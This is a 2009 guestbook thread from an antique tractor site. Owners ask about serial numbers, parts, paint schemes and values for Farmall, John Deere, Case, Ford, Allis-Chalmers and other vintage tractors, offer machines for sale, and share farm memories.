Larry Bader wrote on Friday, October 09, 2009 (PDT):I started out with a John Deere 41 L frame I bought on ebay. It came with front axle and wheels, tires were shot rear end and trans entact, steering,and propeller shaft with clutch housing. No sheet metal, engine, seatframesupport, and other parts. It had a tag! serial number 634725. I got it home and over the next 2 years I have been busy on ebay. I have used parts and NOS parts. Some are expensive, like the fiber discs. I m still in need of one rear wheel rim. I managed to get a hub for one. and a set of 22 tires and tubes. I have three engines to use. 1 Hercules, 2JD LUC. I ve had fun so far. One piece at a time. I also have a 34 A John Deere.
Gene Carr wrote on Wednesday, October 07, 2009 (PDT):I am looking for an A Model AC Tractor. 605.783.3832
Jim Broughton wrote on Tuesday, October 06, 2009 (PDT):To; Fred Sheppard...Your Cub is a 1955 model made late in the year just before the 56 models came out ! Have fun with her...I just put on the plow fast-tach and plowed up my potatoes...they are handy little machines ! Jim B. in Oregon
Doug Webster wrote on Tuesday, October 06, 2009 (PDT):I have a 1939 CO-OP No. 2 tractor, s/n 2250-2 in excellent shape. This tractor possibly was made in Arthurdale, West Virginia. I have the original manual and bill of sale. Would like to know the paint scheme and paint color code.
brent tro wrote on Monday, October 05, 2009 (PDT):I have a massey harris 555d cant get fuel to all injectors. May be interested in selling or learning how to make run. Also I know a person in shawnee ok. who restores tractors who may have or could find or fix tracto rim.
Jim Sereyka wrote on Sunday, October 04, 2009 (PDT):I have a Case that has an ID tag on the panel facing the tractor operater, it reads VC4518865. The starter is missing and so is my memory of why. My wife tells me it did have an old Ford starter in it. The pitch or distance as measured from the top of one gear to another on the fly-wheel or driven gear measures about 3/8 of an inch. Please help me identify and locate a new or used starter. Thank you very much for your help. Jim
Dean Huster wrote on Friday, October 02, 2009 (PDT):Dad owned a W-30 and two F-20s. He traded the W-30 in on a Super M around 1962 or so. One F-20 had the corn picker permanently mounted as it was a royal pain to put on, take off and store. The second F-20 was used for planting, mowing and cultivating. As a teen, the old F-20s were embarrassing. I d give my eye teeth for Dad s old tractors now. When he sold the farm, he sold the better of the two it had a road gear transfer case mounted between engine and trannie to a neighbor with the sickle mower. The one with the picker was left with the farm. What a waste!
Don Piper wrote on Friday, October 02, 2009 (PDT):14,016 dc 1955 dc 4 were made
doug wrote on Thursday, October 01, 2009 (PDT): I have a johndeere 60 standard tractor in michigan I would like to know what it is worth
Wade Combs wrote on Thursday, October 01, 2009 (PDT):I recently aquired a very old Farmall tractor. I believe it is a super A. I can read the serial number as 264227 but the Model number is unreadable. I would like to try and restore it but I have to find out what year and model it is. I have seen several pictures on the net that look very simular but not exactly the same. It is possible between the years of 1946 to 1948. If anyone can give me some assistance in this and how to get more info for the restoring of it.
W.Litkeman wrote on Wednesday, September 30, 2009 (PDT):Hello there.....I recently bought a piece of property and located what appears to be a complete set of tracks for a 8n or 9n Ford......don t know what they are worth....looking to sell them....any offers...I can be reached at gletkeman at winnipeg.ca
John Swaim wrote on Tuesday, September 29, 2009 (PDT):Looking for pics--precious few were taken when I was a teenager working on granpa s place. He ran minnie mos and they captivated me then and still do now--power--he had a Vista G1000 diesel with cab, must have been 68 or 69 , very unusual to have a cab tractor at that time and he was stepping up from a M5. Later he added a vista G1000LP, strong tractor. Both pulled 6-16 s and clay didn t stop em. Tandem disc with harrow also, LP with 18.5 ft and the diesel with 19.5 ft. Later he picked up a M670 and we used that for cultivating, pulling the planter and such...good tractor,, LP as well. The best and my favorite wa the 75 White 2-150--bought used around 78 , came wioth a chrome exhaust that curved to the right and no muffler, 585 c.i. no turbo no intercooler no high rpm, just raw stroke power and the nicest flame when plowing at night, that thunderous sound lugging 7-16 s and later a 25 ft tandem disc with harrow--fancy disc with hydraulic folding,, a white i believe, all the other implements mentioned were Moline brand. Granpa tried to muffle the 150 but the damn muffler was so thick I couldn t see around it so he took it back off a few weeks later and I never saw it again.Anywho, any pics of these big cats in action in the field would be appreciated. The 150 ran duals and in furrow on the seven bottom,, the diesel Vista had these unique cones for the duals to attach to, added weight and just had a nice look with the duals on. Any pics would be appreciated. Straight furrows! If anybody stilll pulls a moldboard.
graham wrote on Sunday, September 27, 2009 (PDT):I have juust brought a container load of parts a tractors and its all for sale theres 1 ser 3 and the rest is 2 and lots of ser 2 parts ..tel 07976319399 after 5pm week days herefordshire england
Mike O Brien wrote on Friday, September 25, 2009 (PDT):I have a Ford 2000 Diesel 1962-64 tractor. 144 cubic engine. Can anyone please give me info on how to set the timing I took out the injector pump, and had it rebuilt.
Shawn Macha wrote on Friday, September 25, 2009 (PDT):We have a COOP E3 with a belly mower on it we would like to sell the whole rig. It is in good shape and runs good. What is it worth
Ron L. wrote on Thursday, September 24, 2009 (PDT):It s away from you on mine.
Gary Chonzena wrote on Thursday, September 24, 2009 (PDT):I think I have an old Oliver, apprx 1945, and have the serial number s . Where would I find more information on this old tractor. It may also be a Cockshutt, have not found an exact picture anywhere to match what we have. Can someone help out here Thanks.
Ron Luster wrote on Thursday, September 24, 2009 (PDT):I have two questions, one, my M s serial# is FBK-156620 XI, could someone please tell me what year it is. My second question is a little tougher, how do I set the screws on the carb Someone messed with them and I m having a dickens of a time getting it back to rite. Thanks for any help that you can give!
Terry wrote on Wednesday, September 23, 2009 (PDT):I have a Massey GP for sale. It is on flat faced steel. Has a belt pulley and pto. Very complete. e-mail if interested.
Earle Johnson wrote on Tuesday, September 22, 2009 (PDT):Still looking for a set of half-tracks for our Ford 600. If anyone in Ontario or Quebec knows where I can find a set in good condition, it would be much appreciated.
joe kaczmarek wrote on Monday, September 21, 2009 (PDT):I have a jd 40 crawler which, after the engine is good and warm, boils water out the overflow tube. I recently installed a new after market radiator. Does anybody have some sound advice of why this may be happening
Dink wrote on Sunday, September 20, 2009 (PDT):I have purchased a d-15 on propane and am having fuel problems. The regulator is new. It has a bad exhaust system with an after market muffler, so when it rained, water got into the system. I have rectified that. The tractor starts and idles,but dies when I give it some throttle. If I play around with the adjustment on the front of the carburator I can get it to run at higher speeds, but the settings keep changing and nothing is consistant. Any advice from someone would be appreciated. Dink
carl wrote on Sunday, September 20, 2009 (PDT):I have two Ponies. The one is 49 and the other is a 52 I think. I am looking for cultivators for the one and a disc for the other one. Can anyone out there help Live in south central Penna. Thanks, Carl.
kenneth coffey wrote on Saturday, September 19, 2009 (PDT):i just have to say massey s are the best tractor a man could have
Brian Henecker wrote on Saturday, September 19, 2009 (PDT):Hello have a vintage1950s international utility300,gas engine 4cyl,torque amplifier model. looking how to find serial number since plat worn, foundfollowing numbers14557SJ on what was left on plate. engine hasG169 9 30 A. ONhood penciled on are 30164107and40337485looking for a carb and gasket set for engine since leaking oilhave shop manualIH10 but looking for a more specific manual for300utility
jimmy bogdan wrote on Tuesday, September 15, 2009 (PDT):I want to know why some 15-30 s tractors say International on the radiator and others say McCormick Deering. Why are some painted grey and others red Do they both take the McCorimick Deering decal The tractor I have is a 15-30 International 1923 model. Would that be right for the year Thanks Jim
Tom D, wrote on Tuesday, September 15, 2009 (PDT):I want to convirt a 6 volt system to a 12 volt system on 1954 Super MTA, What exactly would need to be changed
Adam J wrote on Tuesday, September 15, 2009 (PDT):I have a McCormick Deering 15-30 for sale, what a good price to be asking for it. It was running about 12 years ago before it was drained and parked. Tractor no. TG 110569 M
Dan Sattler wrote on Monday, September 14, 2009 (PDT):We have a Cletrac Model HG 42, Serial No. 12GA404 that we would consider selling to a good home. It has the 2nd transmission for creeper speed, and has a hydraulic-lift rotor tiller mounted on back. You can call us at 306-732-4402 near Regina Saskatchewan, Canada.
BJ Bono wrote on Monday, September 14, 2009 (PDT):One of the first tractors I operated as a teenager in the 1930 was a Farmall regular. In Weld county CO. Not a pleasant experience.
BJ Bono wrote on Monday, September 14, 2009 (PDT):One of the first tractors I operated as a teenager in the 1930 was a Farmall regular. In Weld county CO. Not a pleasant experience.
bill lemons wrote on Sunday, September 13, 2009 (PDT):I restored a 541 offset. Based on the serial number its a 1959 model. I converted the 6v to 12v. and that makes it much more fun to use as it cranks without problems summer and winter. I used a 801 block with 541 exhaust/intake manifold and carburator to limit the horse power. This engine was completely rebuilt professionally and is powerful. I need at steering box. This is the hardest part to find on the whole tractor. Only the 541 uses this steering gear box. Anyone with a parts tractor please contact me if the steering box is available.
Keith Kapp wrote on Sunday, September 13, 2009 (PDT):I have a 1953 Case VA. I looks exactly like the fire orange colored on pictured at the top of this form. It is a general purpose agricultural tractor. The following is what I understand the colors and model numbers to be -- I see that Mark wrote on Apr 29, 2000, that he had purchased a Case VAI and it was all yellow with no parts resembling red. Mark, It is supposed to be yellow . the VA I means industrial and industrial is yellow. I see a VAI for sale at Bonney Lake, WA, currently on craigslist and it is yellow, but advertised as a VAC. The VAC is fire orange . None of these are like Jon Arms rare VAIW. I also see Denny wrote on Jan 4, 2006, that he has a 1955 VAI. I believe all VA series ended in 1954. The serial numbers of all VA series indicated a year following the actual manufacture date, therefore Denny may be thinking it is 1955 because of the S/N.
Richard Borowicz wrote on Sunday, September 13, 2009 (PDT):I restored the first tractor I ever drove in the field in Aug. 1941 at age 8yrs. It is a F-14, #FS134216 built in May 1938. I acquired it in 1999 and completed restoration in Aug. 2003, 62 years after I first drove it. It was shedded FOR 25yrs., in really bad shape, but many hours and 5000 restored, looks, and runs great,
Richard Borowicz wrote on Sunday, September 13, 2009 (PDT):I restored the first tractor I ever drove in the field in Aug. 1941 at age 8yrs. It is a F-14, #FS134216 built in May 1938. I acquired it in 1999 and completed restoration in Aug. 2003, 62 years after I first drove it. It was shedded FOR 25yrs., in really bad shape, but many hours and 5000 restored, looks, and runs great,
Denny wrote on Thursday, September 10, 2009 (PDT):Just purchased a pony with head lites and a fender lite.I need guards and knives for the sickle bar mower! Please help. Denny
Connie Inman wrote on Thursday, September 10, 2009 (PDT):My grandpa had a Farmall B and I can remember sitting on the bench swinging my feet. Wish I could remember how old I was at the time---actually remember being a little scared!!! Would give my eye teeth to own one now in my 60 s. Love going to shows and admiring yours---THANKS
Doug Sharp wrote on Thursday, September 10, 2009 (PDT):Would like to know proper placement of massey harris pony decals
tom griffie wrote on Wednesday, September 09, 2009 (PDT):Hi There, Looking for upper and lower lift arms for my one-sixty. Also an insturment panel, that works. Thanks
Robert Hoag wrote on Wednesday, September 09, 2009 (PDT):My tractor is a 1955 international 300 utility. I am looking for the Torque Amplifier emblems. There are two one for each side. Please let me know if you know where I can purchase for under 20 each. Thanks
Samuel V. wrote on Sunday, September 06, 2009 (PDT):NEVERMIND. I recently visited the tractor and realized that it does have red paint under the yellow. Whoever painted it did a really good job.
BJ Manes wrote on Sunday, September 06, 2009 (PDT):Shortly after August, 1940 my parents moved to a Texas farm where I learned to drive at age nine 9 . The tractor was a Model L or possibly a Model C . I could stop it by pulling the clutch lever back. To drive forward, I had to just hold the clutch lever forward so I could not drive it in the field. I was not big enough to push the clutch lever forward to lock it in place. My frist accident also involved the Model L. I hit a steel gate post in third gear, I think with the left front wheel. The front axle bent back about 6 or so inches. My Dad had to pay 2.50 to have the axle heated and straightened out. My excuse; the steering gears were so worn that one had to turn the steering a full turn to start going the other direction. I do not recall getting a spanking after the wreck, so my excuse must have worked. Thanks for the Memories......BJ
Sherry wrote on Sunday, September 06, 2009 (PDT):I have a 1950 molean runs on propane or did run on butane . I wood like to sell or trade for smaller tractor . She runs but needs a radiator . 559-287-3964 Fresno , Ca.
Samuel Vivilacqua wrote on Saturday, September 05, 2009 (PDT):HELP! The o-12 seems to be hard to find. According to the serial number guide, mine is a 1936 o-12. However, my issue is that the paint is yellow, and shows no signs of ever being repainted or any red. And yet no one ever said anything about them being yellow. Iv heard red and grey. Help And I found my serial number on a plate hidden somewhere below the fuel tank, is this correct
Jake kirchoffner wrote on Friday, September 04, 2009 (PDT): would like to now where I can find info on a co-op #3. Manual or when it was made. serisl number 4039. It is yellow with a squire grill..Thank you
Melissa D-Strobel wrote on Wednesday, September 02, 2009 (PDT):Our elderly neighbor just bought a 1952 or 3 Ford tractor with a Pitman sickle mower. He doesn t know how to hook it up to his tractor. Can somone enlighten me and I ll pass the how to along. Any help is needed and much appreciated. Thanks again, Missy
Dan Fischer wrote on Tuesday, September 01, 2009 (PDT):I just bought a 1948 Oliver RC 70 with a loader.How do I get the two exhaust elbows and a forward facing lamp holder It was in a Minnesota tornado and that was the only damage. This beautiful machine was always stored in a shed and I m only the second lucky owner. The first owner said he spent a good part of his life on it.I m thankful because if it was not for the tornado he would not have sold it.Thank You
bugman wrote on Tuesday, September 01, 2009 (PDT):forgot to add email to previous post about half tracs. Any info would be great ejb at securespeed.us
bugman wrote on Tuesday, September 01, 2009 (PDT):am restoring a 57 130 that had a set of ARPS half tracs. i have the boggy wheels but am in search of the tracks. i m located in southern maine
Bob Cleberg wrote on Tuesday, September 01, 2009 (PDT):I have a 50s vintage M Farmall that I would like to sell. Though it has lots of rust, it runs great and is very restorable. I need to know what it is worth.
Dan Majerus wrote on Tuesday, September 01, 2009 (PDT):Help, I have a 51 vac case need parts for single disk break system call 406-837-1101
Gary wrote on Monday, August 31, 2009 (PDT):I have a mh 81 and I need to replace the gas tank and I also need 4 rims and tires. Can anyone help me out. I live in Redkey In. I would appreciate any help. Thanks
Bill Moore wrote on Monday, August 31, 2009 (PDT):BM from Nebraska....found a pic of a tractor identical to mine in maine,,,it is a DI Case,,with a magneto....have not gotten a response from them....am looking for 2 speed pto for D case to put on it...with weight in the rear box,,,weighs 9820 lbs. Still not sure hood on mine is correct or not,,,,,,would the DI of had the same decals as the D
jeff laux wrote on Sunday, August 30, 2009 (PDT):i have a 1938 case rc. i am having problems with the clutch slipping, tried to adjust with no luck.what is proper procedure for clutch replacement on this tractor. any helpful web pages
scott wrote on Sunday, August 30, 2009 (PDT):I am looking at buying a case sc that is in very good shape it is repainted and has good rubber it has a narrow front. But it needs to be split it leaks oil bad. It s not that big of a deal to split it and put a new gasket in it, and a new clutch in. I was wondering what this tractor might be worth. and if it would be good with a belly mower.
j.w.freck wrote on Saturday, August 29, 2009 (PDT):the front end parts are off a 45d.i failed to mention that
j.w.freck wrote on Saturday, August 29, 2009 (PDT):i have a complete front steering box and front row crop spindle for sale complete with hubs
j.w.freck wrote on Saturday, August 29, 2009 (PDT):looking to add to my collection of allis wd45.have 5 already but would like to find another 45d.anybody got one for sale,email me thx j.w.freck 903-930-5679
Johnny Kidwell wrote on Saturday, August 29, 2009 (PDT):I have found a IH 300 utility tractor with gasoline engine PTO has on and off switch 2 or 3 point hitch torque Amplifier. has not been restored I am new at this and would like to know what it is worth if the engine is not stuck or if the engine is stuck thanks johnny
JAMES L. MAC CAUGHAN wrote on Saturday, August 29, 2009 (PDT):I WOULD LIKE TO KNOW WHAT THE PROPER COLOR IS FOR A 1945 MODEL42 IF ANYONE COULD HELP.
Kenny wrote on Friday, August 28, 2009 (PDT):Hi. I have a tractor just like this one only it says 801 and I need a starter for it. Can anyone help Thanks
Jerry DeYoung wrote on Thursday, August 27, 2009 (PDT):I have a 1955 Fordson. I have difficulties because the low range only works intermitently and sometimes pops out of geer. I also lose a lot of gear oil out of the place where the clutch shaft enters the gear box. I d love to take it apart to fix the low range and stop all the oil leaks but I m not sure it is possible. Love the tractor. Has orange wheels.
terry garbig wrote on Tuesday, August 25, 2009 (PDT):looking for a international lo boy,preferrably with the bench seat,prefer restored,but would consider a non restored-352-598-7431 or email ;tag1 at mfi.net put in subject matter; cub low-boy thanks,terry
roger ransom wrote on Tuesday, August 25, 2009 (PDT):i have a friend that has this same model year. nut on fan- water pump pulley came lose ruined pulley stub shaft on water pump. i m helpimg try to find parts. this tractor was restored a few years back, so otherwise is in deasent shape. do you know where who could possibly locate these items assuming you want to keep you parts tractor on reserve for yourself. any comments or help will be appreciated. thank you roger by the way that is a beautiful machine
Myron Wininger wrote on Sunday, August 23, 2009 (PDT):I have a 1942 John Deere LA The tractor is complete and running . My troble is I have too much oil pressure . I replaced the oil releife valve spring and it dropped from 70 lb. to 40 lb. The manual calls for 25 max. If any one can help or tell where to get help it will be appreciated . Myron in ct.
adam hawker wrote on Sunday, August 23, 2009 (PDT):I know a local farmer and he invited me to look in his barn at an old tractor.And there stood a Allis Chalmers WC we are now looking to restore the beast. I want to find out how much as a rough guide would this sell for when complete many thanks adam
Harold wrote on Saturday, August 22, 2009 (PDT):How do I change clutch in 1948 8-N tractor
Randal Patterson wrote on Saturday, August 22, 2009 (PDT): I have a 1939 and 1940 model L John Deere. I am trying to get one running using both tractors. The 1939 model is a top mount transmission and the 1940 model is a side mount transmission. Which one would be the best to use and which one would have the best value Both tractors look the same except for the transmissions. It looks like they both have the same engine and front end. Is this true I would also like to know where I can find a used 22 inch rear tire for it. One tire is rotted off. Any info you can give me would be appreciated.
John wrote on Friday, August 21, 2009 (PDT):Responding to Bill, August 6, 2009 - I have a Case 520. The main differences are the heavy front axle, bigger tires 950-15 fronts and 18-26 rears, the operator seat is higher and the batteries are moved forward. I ve been to a lot of tractor shows and have never seen another one like it.
Blaine B. wrote on Friday, August 21, 2009 (PDT):I forgot to leave how to get ahold of me, just call 320 272 4435, and leave your information on the machine. Thank you all!!
Blaine B. wrote on Thursday, August 20, 2009 (PDT):I have always liked the 1066 s, actually any 56,66, or 88 series IH!! I have 2 10 s and my dad has 2, if that don t say we like our 1066 s! I have started a 1066 serial number registry, and I would like to have your serial numbers, name, locations, and a description of the tractor. I am doing it for myself, just to see where they are still located, so far as of 8/20/09, I have compiled a list of 185 1066 s, and I know there are more out there than that. Thanks for your help, and send me your info to add to the 1066 registry!!
D.S. Butler wrote on Sunday, August 16, 2009 (PDT):I learned to drive on a ,G model, belonging to my father, in 1948 at the age of 6. I will never forget that experance sitting in my uncles lap and driving a big thing like a real tractor.
Brent wrote on Sunday, August 16, 2009 (PDT):I have 44 massey diesel row crop for sale, runs strong, seems solid, working on starter and steering and rubber poor on back. hardly anyone puts phone number on here so here s mine. 701 730 4402
Karl Hermannsson wrote on Saturday, August 15, 2009 (PDT):I have international 674 which seems to be one of the first years been produced.How do i find out to confirm and where do i find serial number also how do i find reg or ex ownership on tractor like this. please send me email if you think you can help. Thanks
william jackson wrote on Friday, August 14, 2009 (PDT):i am looking for a gas tank for 541 ford off set tractor
Joe Kaczmarek wrote on Thursday, August 13, 2009 (PDT):I m looking for a replacement radiator for my 1955 JD 40 crawler. Email me if you know of a replacement source. I would consider selling the JD 40 crawler also for I no longer need it because I m moving from the snow zone of central Oregon.
marcus fell wrote on Thursday, August 13, 2009 (PDT):looking for front end loader for 800 ford, anyone got it regards marcus
Joe k wrote on Wednesday, August 12, 2009 (PDT):JD 40 make offer. Runs great.
Joe k wrote on Wednesday, August 12, 2009 (PDT):I have a JD 40 with hydraulic blade which I will no longer need. Moving out of the snow zone. Runs great. Motor rebuilt professionally 3 years ago. I use it mostly to move snow. Make offer.
michael alden wrote on Tuesday, August 11, 2009 (PDT):Dave DeVlaeminck.My son in law has a good looking and running 720 for sale.It is diesel.Pony motor works like new.Wide front,frenders, 3 point hitch. wheel weights and more.Heck of a nice tractor. Interested call 1-641 390 1637.this # will connect you to his wife. I think toms # is 1-641 390 0743. This tractor is ready to work.
Jayne Long wrote on Monday, August 10, 2009 (PDT):I am trying to find a 1964 super dexta tractor registration EIH 161. CAN ANYONE HELP.
Larry wrote on Thursday, August 06, 2009 (PDT):I just bought a Case SC I Think I can t make out all the serial # s all I have is 54226 SC. Can anyone tell me from this what year I have and if SC for sure Found production # on Block 583,,on head A5617A,,and 5650A on back half on side under shifter area.Really hope someone can help!!!! THANKS
gary clark wrote on Tuesday, August 04, 2009 (PDT):John Halm and I go back a long time, i also have run this russell, Back in 1972 or so, with Rodney Pitts as my instructor.
Ralph Arnold wrote on Tuesday, August 04, 2009 (PDT): Hallow i am righting to tray to find out whitch 15 30 i have i was wanting to work on the tractor but i have no way to find out the year. I do need parts i need to buy a frunt bering it is not taperd it is a needle baring so i would like to find out what i am looking for. Thank You
Mark wrote on Monday, August 03, 2009 (PDT):I recently bought a 1948 case tractor for 500. the guy I bought it from said it did not run. I was able to start it right up and it runs good. I am having a problem though where it does not have the power to get up hills. Can someone let me know if you have had this problem and how you solved it
steve johnson wrote on Saturday, August 01, 2009 (PDT):My dad,my brother and myself own 3 sc s 2 are narrow ends and the newest is wide front end with hand clutch and my uncle owns an sc and the dc that my grandfather farmed with in the early 70 s. they all run like new.we show them at a few shows in IL and always get questions about how good they look. they are a really well built tractor and very simple to restore.
Stan Beck wrote on Friday, July 31, 2009 (PDT):I have a Super A Farmall tractor that I think was manufactured in the mid 50 s. All I have is a serial number #256603. I would like to know the year of manuf. so I can order the correct owner Parts manuals.. can you help me locate the year of manuf. thanks
Don Cummins wrote on Friday, July 31, 2009 (PDT):I have a JD LA 1941, and would like to find a good resource for information about this tractor, like history, repair, restoration, parts, clubs etc. I got this tractor when I bought some land near Penn Yan NY and would like to get it running again. It s in pretty good condition with plows and cultivator. Any info would help. THANK YOU
Bill Scott wrote on Friday, July 31, 2009 (PDT):My father kept things in good working condition and recently passed away. He has a Oliver Row Crop 66 in good working condition and the body is in great shape. You can contact me at 1-712-490-0516. Thanks.
Bill Scott wrote on Friday, July 31, 2009 (PDT):My father kept things in good working condition and recently passed away. He has a Oliver Row Crop 66 in good working condition and the body is in great shape. You can contact me at 1-712-490-0516. Thanks.
LES KOHL JR wrote on Thursday, July 30, 2009 (PDT):My friend has picked up a leader tractor this past week and it looks like new and I was interested in what kind of price these old tractors are realy worth if any one could tell me. Thanks
Lisa Hughes wrote on Thursday, July 30, 2009 (PDT):I own a 1946 Farmall A tractor that runs perfectly because my brother makes new parts for it when needed. His machine shop is located in Lansing, MI. You can check out his website for Langenberg Machine Shop. Anyway, I d like to sell it to him now, and I m wondering what a fair price would be. In 1993 it was appraised at 1200. Thank you.
Jeff A. Dawson wrote on Wednesday, July 29, 2009 (PDT):To whom it may concern, We own a 1953 John Deere 60 and desperately need a copy of the instument panel,s wiring diagram as viewed from the back, as idiot-proof as possible. It is a gasoline model and the Ser.# is 6001610. Sincerely, Jeff Dawson PS Your prompt attention would be IMMENSELY APPRECIATED!!
Dave Sexsmith wrote on Tuesday, July 28, 2009 (PDT):I just bought a Pony haven t even got it home yet . It s going to be a long term project as it s not running. I haven t got the serial number off it yet but, I ve noticed the front axle looks different than the ones I ve seen on the internet. All the photos I ve seen show a front axle which is a straight round steel tube, identical to the one on my Pacer. This Pony, however, has an arched front axle. When I saw it the first thing I thought of was a wishbone . Can anyone give me any info on this type of axle
garrett sharp wrote on Tuesday, July 28, 2009 (PDT):i was wondering how you remove the starter from the w4 tractor. i have one that needs to be replaced but i seem to not be able to pull it out of is place. all the bolts are removed and it wiggles and slides in and out but i cant tilt it the correct way to get the entire starter to slide out. i was wondering if anyone knew how this needs to be done thank you.
Harv wrote on Monday, July 27, 2009 (PDT):I have about 15 old John Deer tractors, 80s ARs, a Case 1070, a Minneapolis G1000, from an estate. Most don t run and have sat outside for years. What do they go for Also an old Case 1010 combine, and a couple of IH combines. Any help would be appreciated.
barry french wrote on Sunday, July 26, 2009 (PDT):I recently found an intact disc in the woods behind my farm. The only info I can find is a small picture of a b.f. avery volcano disc harrow. does anyone know anything on their discs thank you
Mark Treece wrote on Sunday, July 26, 2009 (PDT):I just bought a 1948 case tractor for 500 that was sold as is not running w/ front bucket, and if he can find the back blade will give that too me too. I took it home and fired it up and with a little work have most of it working. I need to know what type of oil to put in the gear box and rear end. Thank you
Dwight A.Brown wrote on Saturday, July 25, 2009 (PDT):I am a photographer and did a picture of a white M at a tractor show. It is a beautiful restoration. It says demonstrator on the hood. Were all the white ones demonstrators or were some sold to use.
Dick wrote on Saturday, July 25, 2009 (PDT):Hi, I m looking for a 4 cylinder engine wth separate cylinder blocks in pairs. Waukesha, Buda, Mack, American Lafrance,Ingersol Rand etc. Please email with info.
aldo wrote on Saturday, July 25, 2009 (PDT):I recently purchased of fordson major diesel tractor and would like to find our the year and model so I can fix the problems it has, where do I look
Joe Anderson wrote on Thursday, July 23, 2009 (PDT):I would like to contact Tony Menendez about his 420H thats forsale. Or have Tony contact my email Thanks Joe Phone is 602 692 0111
Balch, L wrote on Thursday, July 23, 2009 (PDT):Looking at buying a 1949 Farmall Cub Tractor w/Belly mower. Completely restored. What is it worth
Ken Shirley wrote on Thursday, July 23, 2009 (PDT):I have a question the G vi what year did they go into production we are having a debate on this with some tractor pullers hope you can help me out
Joseph Ryan wrote on Thursday, July 23, 2009 (PDT):i have a 1939 9N tractor that runs great just needs tires and a paint job! i am looking to sell it am asking at least 2,000 any one interested
Joseph Ryan wrote on Thursday, July 23, 2009 (PDT):i have a 1939 9N tractor that runs great just needs tires and a paint job! i am looking to sell it am asking at least 2,000 any one interested
Bob Sweet wrote on Thursday, July 23, 2009 (PDT):Can anyone tell me where I can get a set of original looking decals for a Model A Power Unit. Serial # E-3116
Bob Sweet wrote on Thursday, July 23, 2009 (PDT):Does anyone have an electric starter for a Model A they are willing to part with. I have a Model E-60 power unit which I have completely restored and I also have a tired back from using the hand crank. Any help would be greatly appreciated.
Glenn Kauffman wrote on Thursday, July 23, 2009 (PDT):What size are the front and back tires on the AC A Can you also tell me the style rim.
owen wrote on Thursday, July 23, 2009 (PDT):HI, i have a MH 82 a 45 year model. its missing a side plate with the louvres tin . anyone know where i can get one. thanks in advance
KENNETH ARMSTEAD wrote on Wednesday, July 22, 2009 (PDT):hello was hopeing some one could help by telling me if the know what other starters my fit a d 17 diesel the one on my is a dellco 1113082 witch i need a nose cone for and can not find if some can help thanks
Henry wrote on Wednesday, July 22, 2009 (PDT):Hi Some 50 years ago I worked on a farm in england united kingdom, on the fame was a mm tractor, I believe it was used by the USA airbase in the uk, the front wheels were tight together, I think it was for working crops,from memory it had a straight 6 cylinder petrol gas side valve engine, wide rubber rear tyres, and the rear wheel were covered mudgards no idea of model, age etc, was 20 years ahead of anything in england at the time, I do remember the hand clutch lever,and Lights, unheard of at the time, is there anybody out there that can help me track down what model etc it was, and how it would have been in the uk, other than the us air base
PatrickDoyle wrote on Tuesday, July 21, 2009 (PDT): I HaveBoughtA.Super MajorTractor.recentaly . But. Iam HAVING Trouble WITH. The.pto
black wrote on Tuesday, July 21, 2009 (PDT):Nice 22 , I just bought one like it . it s all original 6 volt complete unit , what s it worth as is Ontario Canada
Mark Springer wrote on Monday, July 20, 2009 (PDT):We are going to repaint an Oliver row crop 70 with dual exhaust and was wandering what exactly was the original paint scheme for the this particular tractor with the wider front end.
Mandy wrote on Sunday, July 19, 2009 (PDT):My Dad has an old Minn. Moline the plate on the side says UT100D. I know it s propane powered. I can t find any information on this tractor. I am hoping to find out what the value of it is as he is looking to sell it. I have been told everything from 1500 to 10,000. Does anyone know where to find out the true value of this tractor. Any help would be great. Thanks
Roger Creasy wrote on Sunday, July 19, 2009 (PDT):greg langmo intersted in tractor contact me 4345255162
Andrew Hull wrote on Saturday, July 18, 2009 (PDT):I am trying to find a z120a engine or engine block mine has cracks inbetween all for cyl top and bottom resonable prices please houston tx
kirk wrote on Wednesday, July 15, 2009 (PDT):My father has three of these W series tractors. a W4, W6 and I think a W9. All three of these tractors have been restored and are in excellent working order. He loves these tractors. He is also getting up in age and just had a stroke this last fall. I am helping him find buyers for thes tractors. Me not knowing anything about tractors, is there any websites or auction sites that I can use to find out about buysrs for these gems.
mike wrote on Wednesday, July 15, 2009 (PDT):Hello everybody I have a 1959 ford dextra, I use it all the time I have the original maint. Poster that came with the tractor, a manual and The poster tell all the different oils and filters and settings. let me know if anybody needs any info. Mike
Joan Benscoter wrote on Tuesday, July 14, 2009 (PDT):I have 2 Allis Chalmers that look similar to the one pictured. One the motor will turn over and the other one will note. I found the numbers 1328 and 1558 on the tractor the motor will turn over. Are these model numbers or am I reading them wrong I also have a set of steel wheels. Can anyone answer my question.
Joan Benscoter wrote on Tuesday, July 14, 2009 (PDT):Hello. What are the model numbers and serial numbers of the AC WC Tractors I have a tractor that looks like the picture but not sure of the vintage. How can I identify the year Thank you Joan Benscoter
dan wrote on Monday, July 13, 2009 (PDT):I have a I think a 1956-1961 Fordson Super Major, engine sr# 1620319. I am trying to find a replacement camshaft- part# 528E6250C. could use some help.Any ideas helpful. Thanks for reply.
LDE wrote on Sunday, July 12, 2009 (PDT): I have a ac d17 the pto leaver will not take pto out of gear is there a sheer pin inside the case
Garland Berger wrote on Sunday, July 12, 2009 (PDT):I have a fully restored 1939 General that looks identical to the one in the picture except the wheels are red. I won it in a lottery conducted by the Lake Region Pioneer Threshermen s Association, Dalton, Minesota. It was a real show stopper as I travled home to Vancouver, Washington. Every gas station, motel, historic site or rest area we stopped at brought comments, inquiries or tractor stories. I had no idea so many people were interested in old tractors. It runs great Always starts with one crank! and I enjoy showing it at events in Washington and Oregon. I have now joined a local group of old iron enthusiasts; Fort Vancouvr Antique Equipment Association.
KMC wrote on Sunday, July 12, 2009 (PDT):For those of you looking for the serial, as you are facing the front of the tractor move to the right side. Look at the torque housing where it meets the engine block. Should be stamped vertically.
Larry wrote on Thursday, July 09, 2009 (PDT):I too am looking for a 50 s or 60 s vintage Farmall/International Cub Lo-Boy and a 105 Side Mounted, Balanced Head Sickle Bar Mower attachment. Please let me know if anyone has either of these items for sale near Pittsburgh,PA.
Andy McCULLOUGH wrote on Thursday, July 09, 2009 (PDT):I have two 1937 Co-oP tractors, a model no.3 and model no. 2, both semi restored. The #3 was purchased new by my dad on Sept. 14, 1937, for 1375.00. He spent many hours working this tractor, grading roads, plowing, threshing, and used as power for McCullough Bros. feed mill in Allenford Ontario, CANADA. The #2 was purchased 2005 at Stewart Weavers estate sale. His father, Herman was the sales agent for Co-oP tractors in the Owen Sound area in 1937. He sold a total of nine tractors in this area. Between my cousin and I we have 13 Co-oP tactors , of different years and models.
Paul Wright wrote on Tuesday, July 07, 2009 (PDT):I have a Ford 801 Select-O-Speed with afront end loader. I want to know what the current value of this tractor is.
